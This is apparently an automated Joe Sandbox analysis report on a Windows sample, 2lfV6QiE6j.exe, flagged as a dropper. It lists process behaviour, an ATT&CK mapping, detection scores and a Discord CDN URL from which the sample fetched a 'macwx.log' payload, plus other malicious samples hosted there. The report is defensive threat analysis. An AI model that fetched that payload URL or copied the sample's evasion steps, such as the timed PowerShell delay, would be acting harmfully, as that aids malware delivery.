Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7148	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 5980	Thread sleep count: 162 > 30			Jump to behavior

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Window / User API: threadDelayed 585

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: 2lfV6QiE6j.exe, 00000000.00000002.630024714.0000000000B6D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" cmd /c timeout 20	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout 20	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 20	Jump to behavior

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe	Queries volume information: C:\Users\user\Desktop\2lfV6QiE6j.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\2lfV6QiE6j.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	1 Input Capture	1 Query Registry	Remote Services	1 Input Capture	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	21 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Software Packing	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Timestomp	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	12 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2lfV6QiE6j.exe	19%	ReversingLabs	Win32.Dropper.Generic
2lfV6QiE6j.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://cdn.discordapp.com4	0%	Avira URL Cloud	safe
https://cdn.discordapp.com4	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cdn.discordapp.com	162.159.129.233	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.discordapp.com/attachments/937614907917078588/937618926945329213/macwx.log	false		high
http://cdn.discordapp.com/attachments/937614907917078588/937618926945329213/macwx.log	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://cdn.discordapp.com/attachments/937614907917078588/937618926945329213/macwx.log1Nmagvtfit.Cyqt	2lfV6QiE6j.exe	false		high
https://github.com/mgravell/protobuf-neti	2lfV6QiE6j.exe, 00000000.00000002.631303911.0000000003958000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	2lfV6QiE6j.exe, 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	2lfV6QiE6j.exe, 00000000.00000002.631303911.0000000003958000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	2lfV6QiE6j.exe, 00000000.00000002.631303911.0000000003958000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	2lfV6QiE6j.exe, 00000000.00000002.631303911.0000000003958000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp	false		high
http://cdn.discordapp.com	2lfV6QiE6j.exe, 00000000.00000002.630369619.00000000027A3000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.630339320.0000000002789000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.630243548.0000000002721000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cdn.discordapp.com4	2lfV6QiE6j.exe, 00000000.00000002.630243548.0000000002721000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-net	2lfV6QiE6j.exe, 00000000.00000002.631303911.0000000003958000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.631097064.0000000003809000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.630821801.0000000002915000.00000004.00000800.00020000.00000000.sdmp, 2lfV6QiE6j.exe, 00000000.00000002.632019310.0000000005C10000.00000004.08000000.00040000.00000000.sdmp	false		high
https://cdn.discordapp.com	2lfV6QiE6j.exe, 00000000.00000002.630339320.0000000002789000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	2lfV6QiE6j.exe, 00000000.00000002.630243548.0000000002721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.540127500.0000000004F0E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.discordapp.com4	2lfV6QiE6j.exe, 00000000.00000002.630339320.0000000002789000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.159.129.233	cdn.discordapp.com	United States		13335	CLOUDFLARENETUS	false
162.159.134.233	unknown	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	563792
Start date:	01.02.2022
Start time:	02:03:56
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	2lfV6QiE6j (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.evad.winEXE@8/4@2/2
EGA Information:	Successful, ratio: 50%
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 230 Number of non-executed functions: 7
Cookbook Comments:	Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 23.211.6.115
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, client.wns.windows.com, fs.microsoft.com, store-images.s-microsoft.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Execution Graph export aborted for target 2lfV6QiE6j.exe, PID 6788 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 2lfV6QiE6j.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
162.159.129.233	SecuriteInfo.com.Trojan.Siggen15.38099.19640.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/878034206570209333/908810886561534042/slhost.exe
	1PhgF7ujwW.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/878382243242983437/879280740578263060/FastingTabbied_2021-08-23_11-26.exe
	vhNyVU8USk.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/837741922641903637/866064264027701248/svchost.exe
	Order 4503860408.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/809311531652087809/839376179840286770/originbot4.0.exe
	cotizacin.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/812102734177763331/819187064415191071/bextrit.exe
	SecuriteInfo.com.PWS-FCXDF96A01717A58.15363.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/819169403979038784/819184830453514270/fraem.exe
	7G5RoevPnu.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/807746340997431316/809208342068199434/118fir2crtg.exe
	70% Balance Payment.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/785631384156110868/785631871395561492/italianmassloga.exe
	TT20201712.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/788973775433498687/788974151649722398/damianox.scr
	ENQ-015August 2020 R1 Proj LOT.doc	Get hash	malicious	Browse	cdn.discordapp.com/attachments/722888184203051118/757862128198877274/Stub.jpg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
cdn.discordapp.com	Solicitud de Cotizaci#U00f3n Carbotecnia.pdf.exe	Get hash	malicious	Browse	162.159.130.233
	Document.exe	Get hash	malicious	Browse	162.159.130.233
	Purchase Order 67638_Pdf.exe	Get hash	malicious	Browse	162.159.130.233
	_Liquidaci#Ufffdn Por Cargo Posterior al Vencimient.xlsx	Get hash	malicious	Browse	162.159.130.233
	dNZJs0xWox.exe	Get hash	malicious	Browse	162.159.133.233
	signed invoice_pdf___________________________.exe	Get hash	malicious	Browse	162.159.135.233
	39A6zqpjd1.exe	Get hash	malicious	Browse	162.159.134.233
	Dekontunuz.xls	Get hash	malicious	Browse	162.159.135.233
	Dvrptq (1).exe	Get hash	malicious	Browse	162.159.134.233
	LAoE7OZvo0.exe	Get hash	malicious	Browse	162.159.134.233
	EHDac4XPoG.exe	Get hash	malicious	Browse	162.159.133.233
	UbO3PU5nfu.exe	Get hash	malicious	Browse	162.159.129.233
	dqFu2KduSi.exe	Get hash	malicious	Browse	162.159.129.233
	zx4AMX5P5x.exe	Get hash	malicious	Browse	162.159.130.233
	LlgtTPbJKz.exe	Get hash	malicious	Browse	162.159.129.233
	l2OGKn1Tzq.exe	Get hash	malicious	Browse	162.159.133.233
	FcpKsXfhto.exe	Get hash	malicious	Browse	162.159.134.233
	1ON7A70quI.exe	Get hash	malicious	Browse	162.159.130.233
	SecuriteInfo.com.Trojan.GenericKD.48131406.23753.exe	Get hash	malicious	Browse	162.159.134.233
	Xjof2fPUKm.exe	Get hash	malicious	Browse	162.159.135.233

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	Payment Remit.xlsx	Get hash	malicious	Browse	104.16.123.96
	clDYXKkE0x.exe	Get hash	malicious	Browse	172.67.176.14
	Solicitud de Cotizaci#U00f3n Carbotecnia.pdf.exe	Get hash	malicious	Browse	162.159.130.233
	triage_dropped_file.exe	Get hash	malicious	Browse	23.227.38.74
	Copy of Payment Remit3.xlsx	Get hash	malicious	Browse	104.16.19.94
	Copy of Payment Remit3.xlsx	Get hash	malicious	Browse	104.21.92.157
